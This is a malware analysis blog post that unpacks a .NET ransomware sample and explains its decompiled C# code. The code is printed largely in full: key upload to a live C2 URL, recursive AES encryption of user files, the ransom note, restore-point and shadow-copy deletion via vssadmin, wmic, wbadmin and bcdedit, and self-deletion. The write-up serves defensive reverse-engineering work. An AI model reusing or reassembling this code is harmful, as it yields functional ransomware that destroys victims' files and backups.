Unpacking Malware

Here are the file’s details :

petik@labvx:$ diec -d 446211d2ed10ab785a224abd5e731213af864064dd484cdb74fd5b3b8ebafd10
PE32
    Compiler: EP:Microsoft Visual C/C++(2017 v.15.5-6)[EXE32]
    Compiler: Microsoft Visual C/C++(19.36.32420)[C]
    Linker: Microsoft Linker(14.36.32537)
    Tool: Visual Studio(2022 version 17.6)

petik@labvx:$ diec -e 446211d2ed10ab785a224abd5e731213af864064dd484cdb74fd5b3b8ebafd10
Total 6.86336: packed
  0|PE Header|0|1024|2.65956: not packed
  1|Section(0)['.text']|1024|93184|6.53759: packed
  2|Section(1)['.rdata']|94208|31232|5.29386: not packed
  3|Section(2)['.data']|125440|23040|5.32351: not packed
  4|Section(3)['.reloc']|148480|6144|6.43714: not packed
  5|Section(4)['.kSvT']|154624|50001|5.96039: not packed

Size : 274K

To verify that the file is packed correctly, we will check it with x64dbg. To do this, we will set a breakpoint on the VirtualAlloc API.

bp-virtualalloc

We run the program until it stops at the first breakpoint.

first-bp-alloc

We will go back to the CPU section and then proceed step by step using the F8 key.

go-cpu

There is a call to the VirtualAlloc API.

end-virtualalloc

Following the call to the VirtualAlloc API, we proceed until the end of the call, which is delimited by ret`

end-virtualalloc

We can do this step by step (F7 or F8) or directly by running until the return (CTRL+F9).

end-virtualalloc

We exit system-level debugging to return to debugging the malware, and we observe interesting elements like:

[dword ptr ss:[ebp-38]]:"PE"

This may indicate the presence of the PE (Portable Executable) header.

continue-after-virtualalloc

We will check the dump at this address :

check-dump

We do indeed find a header of a PE Executable (address 006E0070).

pe-header

And when we backtrack, we do have the beginning of an executable with MZ (address 006E0000).

mz-header

We will now explore the memory portion.

follow-in-memory

And we can finally extract the memory dump into a file.

extract-memory

extract-memory

So we can now analyze the dump made with DiE.

analyze-dump

petik@labvx:$ diec -d 446211d2ed10ab785a224abd5e731213af864064dd484cdb74fd5b3b8ebafd10_006E0000.bin
PE32
    Library: .NET(v4.0.30319)
    Linker: Microsoft Linker

petik@labvx:$ diec -e 446211d2ed10ab785a224abd5e731213af864064dd484cdb74fd5b3b8ebafd10_0006E0000.bin
Total 4.439: not packed
  0|PE Header|0|512|2.58501: not packed
  1|Section(0)['.text']|512|17920|5.43841: not packed
  2|Section(1)['.rsrc']|18432|1536|4.05685: not packed
  3|Section(2)['.reloc']|19968|512|0.0843572: not packed
  4|Overlay|20480|8192|1.66547: not packed

Size 28k

Analyzing Malware

Mutex process

This part of the malware checks whether another instance of the program is already running using the mutex. This check is based on a unique name for the mutex, which is stored in the mutex variable as “ntyUBXFQTHyHkrn”. If another instance with the same mutex name is found, the program exits. Otherwise, it proceeds to execute the Program.Run() method, representing the program’s main functionality.

The CreateMutex() method is responsible for creating the mutex with the unique name “ntyUBXFQTHyHkrn” stored in the mutex variable. If the mutex creation is successful, it returns true, indicating that the program can continue execution. If the mutex already exists (another instance is running with the same mutex name), it returns false, and the program exits gracefully.

public static void Main(string[] args)
{
    if (!Program.CreateMutex())
    {
        Environment.Exit(0);
        return;
    }
    Program.Run();
}

public static bool CreateMutex()
{
    bool result;
    Program.currentApp = new Mutex(false, Program.mutex, ref result);
    return result;
}

public static string mutex = "ntyUBXFQTHyHkrn";

Main run code

Here is the main part of the program.

private static void Run()
{
    try
    {
        Program.password = Program.CreatePassword(50);
        Program.GenerateSalt();
        Program.hwid = Hwid.HWID();
        Program.SendPassword(Program.password, Program.hwid, Program.salti);
        DisableTSK.DisableRegEdit();
        Program.UserFold(Program.password);
        Program.Fix_Drivers(Program.password);
        Program.OtherDrivers(Program.password);
        Program.password = null;
        Program.WriteMessage();
        Program.DeleteRestorePoints();
        Shadow.DelCopy();
        Program.SDel("1");
    }
    catch
    {
    }
}

Password creation

The malware will generate a 50-character password.

private static string CreatePassword(int length)
{
    StringBuilder stringBuilder = new StringBuilder();
    Random random = new Random();
    while (0 < Math.Max(Interlocked.Decrement(ref length), length + 1))
    {
        stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/".Length)]);
    }
    return stringBuilder.ToString();
}

HWID Creation

The HWID() method generates a Hardware Identifier (HWID) using certain system information such as the current thread’s ID, the username, the machine’s name, the operating system version, and the system page size. This method returns the HWID as a string.

The GetHash(string strToHash) method takes an input string, converts it into a 10-character MD5 hash using UTF-8 encoding, and then returns the result in uppercase without dashes.

internal class Hwid
{
    public static string HWID()
    {
        string result;
        try
        {
            result = Hwid.GetHash(string.Concat(new object[]
            {
                Environment.CurrentManagedThreadId,
                Environment.UserName,
                Environment.MachineName,
                Environment.OSVersion.VersionString,
                Environment.SystemPageSize
            }));
        }
        catch
        {
            result = "Error HWID";
        }
        return result;
    }

    public static string GetHash(string strToHash)
    {
        string result;
        using (MD5 md = MD5.Create())
        {
            byte[] bytes = Encoding.UTF8.GetBytes(strToHash);
            result = BitConverter.ToString(md.ComputeHash(bytes), 0, 10).Replace("-", "").ToUpper();
        }
        return result;
    }
}

The result will be displayed in the ransomware note.

your-id

Password sending

This part of code defines a method called SendPassword that takes three parameters: password, hwid, and salt. The function performs the following operations:

  1. It attempts to perform encryption using the RSACryptoServiceProvider library for both the password and salt parameters. These data are converted to Base64 strings after encryption.

  2. It sets an URL (address) to which it will send data. The URL is specifically defined as “http://a0902054.xsph.ru/one.php”.

  3. It uses the WebClient class to send data to the server at the specified URL using a POST request. The data includes the previously encrypted and Base64-encoded password, hwid, and salt.

public static void SendPassword(string password, string hwid, string salt)
{
    try
    {
        string value;
        string value2;
        using (RSACryptoServiceProvider rsacryptoServiceProvider = new RSACryptoServiceProvider())
        {
            rsacryptoServiceProvider.FromXmlString(Program.publickey);
            value = Convert.ToBase64String(rsacryptoServiceProvider.Encrypt(Encoding.UTF8.GetBytes(password), false));
            value2 = Convert.ToBase64String(rsacryptoServiceProvider.Encrypt(Encoding.UTF8.GetBytes(salt), false));
        }
        string address = Program.gate1;
        using (WebClient webClient = new WebClient())
        {
            NameValueCollection data = new NameValueCollection
            {
                {"Password", value},
                {"Hwid", hwid},
                {"Salt", value2}
            };
            byte[] bytes = webClient.UploadValues(address, "POST", data);
            Encoding.UTF8.GetString(bytes);
        }
    }
    catch
    {
    }
}

public static string gate1 = "http://a0902054.xsph.ru/one.php";

Disabling regedit

The malware will disable the regedit function on the computer using the following function.

	internal class DisableTSK
	{
		// Token: 0x06000001 RID: 1 RVA: 0x000020B0 File Offset: 0x000002B0
		public static void DisableRegEdit()
		{
			DisableTSK.<DisableRegEdit>d__0 <DisableRegEdit>d__;
			<DisableRegEdit>d__.<>t__builder = AsyncVoidMethodBuilder.Create();
			<DisableRegEdit>d__.<>1__state = -1;
			<DisableRegEdit>d__.<>t__builder.Start<DisableTSK.<DisableRegEdit>d__0>(ref <DisableRegEdit>d__);
		}
	}

File infection

The file search is conducted in the user’s default folder.

Program.UserFold(Program.password);

private static void UserFold(string password)
{
    try
    {
        Program.encryptDirectory(Program.userfolder, password);
    }
    catch
    {
    }
}

private static string userfolder = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);

The malware will use the encryptDirectory function to search for files to encrypt within the directory by looking for the following specific file extensions :

“.txt”, “.TXT”, “.jar”, “.exe”, “.dat”, “.contact”, “.settings”, “.doc”, “.docx”, “.xls”, “.xlsx”, “.ppt”, “.pptx”, “.odt”, “.jpg”, “.png”, “.jpeg”, “.gif”, “.csv”, “.py”, “.sql”, “.mdb”, “.sln”, “.php”, “.asp”, “.aspx”, “.html”, “.htm”, “.css”, “.md”, “.rtf”, “.yaml”, “.conf”, “.json5”, “.xml”, “.psd”, “.pdf”, “.dll”, “.c”, “.cs”, “.vb”, “.vbs”, “.p12”, “.mp3”, “.mp4”, “.f3d”, “.dwg”, “.cpp”, “.h”, “.chm”, “.chw”, “.msi”, “.zip”, “.rar”, “.mov”, “.rtf”, “.bmp”, “.mkv”, “.avi”, “.apk”, “.lnk”, “.iso”, “.7z”, “.ace”, “.arj”, “.bz2”, “.cab”, “.gzip”, “.gz”, “.tgz”, “.tar.gz”, “.tbz2”, “.tar.bz2”, “.txz”, “.tar.xz”, “.bkf”, “.tar.zip”, “.tar.7z”, “.tib”, “.gho”, “.bak”, “.ab”, “.vbk”, “.scr”, “.fbl”, “.dmp”, “.tmp”, “.wps”, “.com”, “.bat”, “.cmd”, “.msp”, “.cpl”, “.ps1”, “.vbs”, “.js”, “.wsf”, “.cmdx”, “.lzh”, “.tar”, “.uue”, “.xz”, “.z”, “.001”, “.mpeg”, “.mp3”, “.mpg”, “.core”, “.crproj”, “.pdb”, “.ico”, “.pas”, “.db”, “.torrent”, “.sqlite”, “.mysql”, “.dbf”, “.json”, “.postgresql”, “.oracle”, “.nosql”, “.wim”, “.cur”, “.sdb”, “.xsd”, “.mui”, “.log”, “.rsm”

private static void encryptDirectory(string location, string password)
{
    try
    {
        string validExtensions = string.Concat(new string[]
        {
            ".txt",
            ...
            ".log",
            ".rsm"
        });
        IEnumerable<string> files = Directory.GetFiles(location);
        string[] directories = Directory.GetDirectories(location);
        ParallelOptions parallelOptions = new ParallelOptions
        {
            MaxDegreeOfParallelism = 10
        };
        Parallel.ForEach<string>(files, parallelOptions, delegate(string file)
        {
            string text = Path.GetExtension(file);
            if (validExtensions.Contains(text.ToLower()) && text != Program.extension)
            {
                Program.EncryptFile(file, password);
            }
        });
        ParallelOptions parallelOptions2 = new ParallelOptions
        {
            MaxDegreeOfParallelism = 5
        };
        Parallel.ForEach<string>(directories, parallelOptions2, delegate(string directory)
        {
            Program.encryptDirectory(directory, password);
        });
    }
    catch
    {
    }
}

  1. Definition of a list of valid file extensions to be encrypted.

  2. Retrieval of the list of files in the specified directory.

  3. Retrieval of the list of subdirectories in the specified directory.

  4. Use of parallelization to process files more efficiently by specifying a maximum degree of parallelism.

  5. Iteration through the files in the directory and encryption of those with extensions found in the list of valid extensions, provided the extension is not equal to Program.extension.

  6. Iteration through subdirectories by recursively calling the encryptDirectory method to encrypt files in the subdirectories.

  7. Handling of exceptions without specific actions in case of errors.

The file encryption is done using the EncryptFile function.

private static void EncryptFile(string file, string password)
{
	try
	{
		if (file != Process.GetCurrentProcess().MainModule.FileName && file != Application.StartupPath && file != Directory.GetCurrentDirectory() && !file.ToLower().Contains(Environment.GetFolderPath(Environment.SpecialFolder.System).ToLower().Replace("system32", null)))
		{
			byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
			byte[] array = Encoding.UTF8.GetBytes(password);
			array = SHA256.Create().ComputeHash(array);
			byte[] bytes = Program.AES_Enc(bytesToBeEncrypted, array);
			File.WriteAllBytes(file, bytes);
			File.Move(file, file + Program.extension);
			Program.Logs.Append(file + Environment.NewLine);
		}
	}
	catch
	{
	}
}

private static byte[] AES_Enc(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
	byte[] result = null;
	using (MemoryStream memoryStream = new MemoryStream())
	{
		using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
		{
			rijndaelManaged.KeySize = 256;
			rijndaelManaged.BlockSize = 128;
			Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passwordBytes, Program.saltBytes, 1000);
			rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes((int)((double)rijndaelManaged.KeySize / 8.0));
			rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes((int)((double)rijndaelManaged.BlockSize / 8.0));
			rijndaelManaged.Mode = CipherMode.CBC;
			using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
			{
				cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
				cryptoStream.Close();
			}
			result = memoryStream.ToArray();
		}
	}
	return result;
}

public static string extension = ".emp";

  1. The first part is a function named “EncryptFile” that takes a file name (“file”) and a password (“password”) as input. It performs the following steps:

    • Checks several conditions to determine whether the file should be encrypted.
    • Reads the content of the file into bytes.
    • Computes the SHA-256 hash of the password.
    • Uses the “AES_Enc” function to encrypt the file’s content with the password.
    • Writes the encrypted bytes back to the original file, replacing the unencrypted content.
    • Renames the encrypted file by adding the “.emp” extension.
    • Appends the file name to a log.
  2. The second part is a function named “AES_Enc” that takes bytes to be encrypted (“bytesToBeEncrypted”) and password bytes (“passwordBytes”) as input. It performs the following steps:

    • Configures Rijndael (AES) encryption parameters with a 256-bit key and a 128-bit block size.
    • Derives the key and initialization vector (IV) using the password and a salt.
    • Uses CBC (Cipher Block Chaining) mode for encryption.
    • Encrypts the bytes using the AES algorithm and writes them to a memory stream.
    • Returns the encrypted bytes as a byte array.
  3. The third part declares a static variable “extension” with the value “.emp.”

Drive inspection

The malware will use two functions to encrypt local disks.

private static void Fix_Drivers(string password)
{
    foreach (string text in Environment.GetLogicalDrives())
    {
        DriveInfo driveInfo = new DriveInfo(text);
        if (driveInfo.DriveType == DriveType.Fixed && !driveInfo.ToString().Contains(Program.C_DIR))
        {
            try
            {
                Program.encryptDirectory(text, password);
            }
            catch
            {
            }
        }
    }
}

private static void OtherDrivers(string password)
{
    foreach (string text in Environment.GetLogicalDrives())
    {
        DriveInfo driveInfo = new DriveInfo(text);
        if (driveInfo.DriveType != DriveType.Fixed && !driveInfo.ToString().Contains(Program.C_DIR))
        {
            try
            {
                Program.encryptDirectory(text, password);
            }
            catch
            {
            }
        }
    }
}

  1. Fix_Drivers:

    • This function only processes drives of type “DriveType.Fixed,” meaning it encrypts only local hard disk drives.
    • It encrypts drives that do not contain the string stored in Program.C_DIR.
  2. OtherDrivers:

    • This function processes all drives except those of type “DriveType.Fixed,” meaning it encrypts all drives except local hard disk drives.
    • It also encrypts drives that do not contain the string stored in Program.C_DIR.

Ransomware Note

The malware will then write the infamous ransomware note.

private static void WriteMessage()
{
    try
    {
        string text = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\HOW-TO-DECRYPT.txt";
        string text2 = string.Concat(new string[]
        {
            Program.Mynote,
            Environment.NewLine,
            "Your ID is [",
            Program.hwid,
            "]"
        });
        File.WriteAllText(text, string.Concat(new string[]
        {
            text2,
            Environment.NewLine,
            Environment.NewLine,
            "[[Encrypted Files]]",
            Environment.NewLine,
            Program.Logs.ToString()
        }));
        Process.Start(text);
    }
    catch
    {
    }
}

  1. This function creates a text file named “HOW-TO-DECRYPT.txt” on the user’s desktop.

  2. It writes a message that includes the ID stored in Program.hwid, along with other information.

  3. The file’s content also includes information about encrypted files (stored in Program.Logs).

  4. Finally, it attempts to open the created file using the default program for text files.

ransomware-note

Removing Windows System Restore points

private static void DeleteRestorePoints()
{
    try
    {
        foreach (ManagementBaseObject managementBaseObject in new ManagementClass("\\\\.\\root\\default", "systemrestore", new ObjectGetOptions()).GetInstances())
        {
            ManagementObject managementObject = (ManagementObject)managementBaseObject;
            try
            {
                Program.SRRemoveRestorePoint(int.Parse(managementObject["sequencenumber"].ToString()));
            }
            catch
            {
            }
        }
    }
    catch
    {
    }
}

  1. The function attempts to access Windows System Restore points using Windows Management Instrumentation (WMI).

  2. It retrieves instances of the “systemrestore” class from the “.\root\default” namespace using WMI.

  3. For each retrieved instance of a System Restore point, the function tries to delete the restore point by calling Program.SRRemoveRestorePoint with the sequence number of the current restore point.

  4. If an exception occurs while attempting to remove the restore point, it is caught and ignored.

  5. If an exception occurs while retrieving the instances of restore points or accessing the “systemrestore” class, it is also caught and ignored.

Deleting of shadow copies

The DelCopy function performs several operations related to the removal of Shadow Copies and the configuration of certain Windows startup options.

public static void DelCopy()
{
    try
    {
        ManagementScope scope = new ManagementScope("\\\\.\\root\\cimv2");
        SelectQuery query = new SelectQuery("SELECT * FROM Win32_ShadowCopy");
        using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, query))
        {
            ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
            if (managementObjectCollection.Count > 0)
            {
                foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
                {
                    ManagementObject managementObject = (ManagementObject)managementBaseObject;
                    try
                    {
                        ManagementBaseObject methodParameters = managementObject.GetMethodParameters("Delete");
                        managementObject.InvokeMethod("Delete", methodParameters, null);
                    }
                    catch
                    {
                    }
                }
            }
        }
    }
    catch
    {
    }
    try
    {
        new Process
        {
            StartInfo = 
            {
                FileName = "vssadmin.exe",
                Arguments = "delete shadows /all /quiet",
                UseShellExecute = false,
                CreateNoWindow = true
            }
        }.Start();
    }
    catch
    {
    }
    try
    {
        new Process
        {
            StartInfo = 
            {
                FileName = "wbadmin.exe",
                Arguments = "DELETE SYSTEMSTATEBACKUP",
                UseShellExecute = false,
                CreateNoWindow = true
            }
        }.Start();
    }
    catch
    {
    }
    try
    {
        new Process
        {
            StartInfo = 
            {
                FileName = "wbadmin.exe",
                Arguments = "DELETE SYSTEMSTATEBACKUP -deleteOldest",
                UseShellExecute = false,
                CreateNoWindow = true
            }
        }.Start();
    }
    catch
    {
    }
    Shadow.ExecuteCommand("cmd.exe", "/c vssadmin delete shadows /all /quiet");
    Shadow.ExecuteCommand("cmd.exe", "/c wmic shadowcopy delete");
    Shadow.ExecuteCommand("cmd.exe", "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures");
    Shadow.ExecuteCommand("cmd.exe", "/c bcdedit /set {default} recoveryenabled no");
    Shadow.ExecuteCommand("cmd.exe", "/c wbadmin delete catalog -quiet");
}

private static void ExecuteCommand(string command, string arguments)
{
    try
    {
        new Process
        {
            StartInfo = new ProcessStartInfo
            {
                FileName = command,
                Arguments = arguments,
                RedirectStandardOutput = true,
                RedirectStandardError = true,
                UseShellExecute = false,
                CreateNoWindow = true
            }
        }.Start();
    }
    catch
    {
    }
}

  1. Deleting Shadow Copies using WMI:

    • The function begins by attempting to access Shadow Copies using Windows Management Instrumentation (WMI).
    • It creates a ManagementScope object to access the \\.\root\cimv2 namespace.
    • Next, it performs a WMI query to select all instances of the Win32_ShadowCopy class.
    • If Shadow Copies are found (count greater than zero), the function iterates through each Shadow Copy instance and attempts to delete them by invoking the “Delete” method on each instance through WMI.
  2. Deleting Shadow Copies using External Commands:

    • The function then tries to delete Shadow Copies using external commands.
    • It launches an instance of the vssadmin.exe command with the argument delete shadows /all /quiet, which should silently delete all Shadow Copies.
    • It then executes wbadmin.exe with two separate commands: DELETE SYSTEMSTATEBACKUP and DELETE SYSTEMSTATEBACKUP -deleteOldest. These commands are used to delete system backups.
  3. Configuring Certain Windows Startup Options:

    • The function uses the auxiliary class Shadow (which is not provided in the provided code) to execute several system commands using the ExecuteCommand function.
    • It runs commands such as vssadmin delete shadows /all /quiet to delete Shadow Copies, wmic shadowcopy delete to delete Shadow Copies via WMIC, and other commands like bcdedit to configure certain Windows startup options.

###

Program.SDel("1");

public static void SDel(string delay)
{
    try
    {
        Process.Start(new ProcessStartInfo
        {
            Arguments = string.Concat(new string[]
            {
                "/C choice /C Y /N /D Y /T ",
                delay,
                " & Del \"",
                new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name,
                "\""
            }),
            WindowStyle = ProcessWindowStyle.Hidden,
            CreateNoWindow = true,
            FileName = "cmd.exe"
        });
    }
    catch
    {
    }
}

  1. It attempts to execute a command in a hidden Windows command prompt (cmd.exe) window (WindowStyle = ProcessWindowStyle.Hidden).
  2. The executed command is constructed by concatenating several elements:
    • /C choice /C Y /N /D Y /T : This is a command to introduce a delay in the execution of the next command.
    • delay: The value passed as an argument to the SDel method is used to specify the duration of the delay.
    • & Del : This indicates that the Del command (for deleting a file) will be executed after the delay.
    • new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name: This gets the name of the current executable file (the running program).
  3. The CreateNoWindow property is set to true to prevent the display of the command prompt window.
  4. Finally, the code uses Process.Start to execute the command using cmd.exe.

sdel

Conclusion

In conclusion, we have reached the end of this article. We sincerely hope that you have found our content informative, engaging, and helpful. We would like to express our gratitude to our loyal readers for their ongoing support and commitment to our publication. Your loyalty inspires us to continue our work and provide more high-quality content in the future. Thank you once again for your trust and loyalty. We look forward to reconnecting with you in our upcoming articles.

Sponsored by logo any.run


<
Previous Post
Christmas Ransomware
>
Next Post
Bazaar Library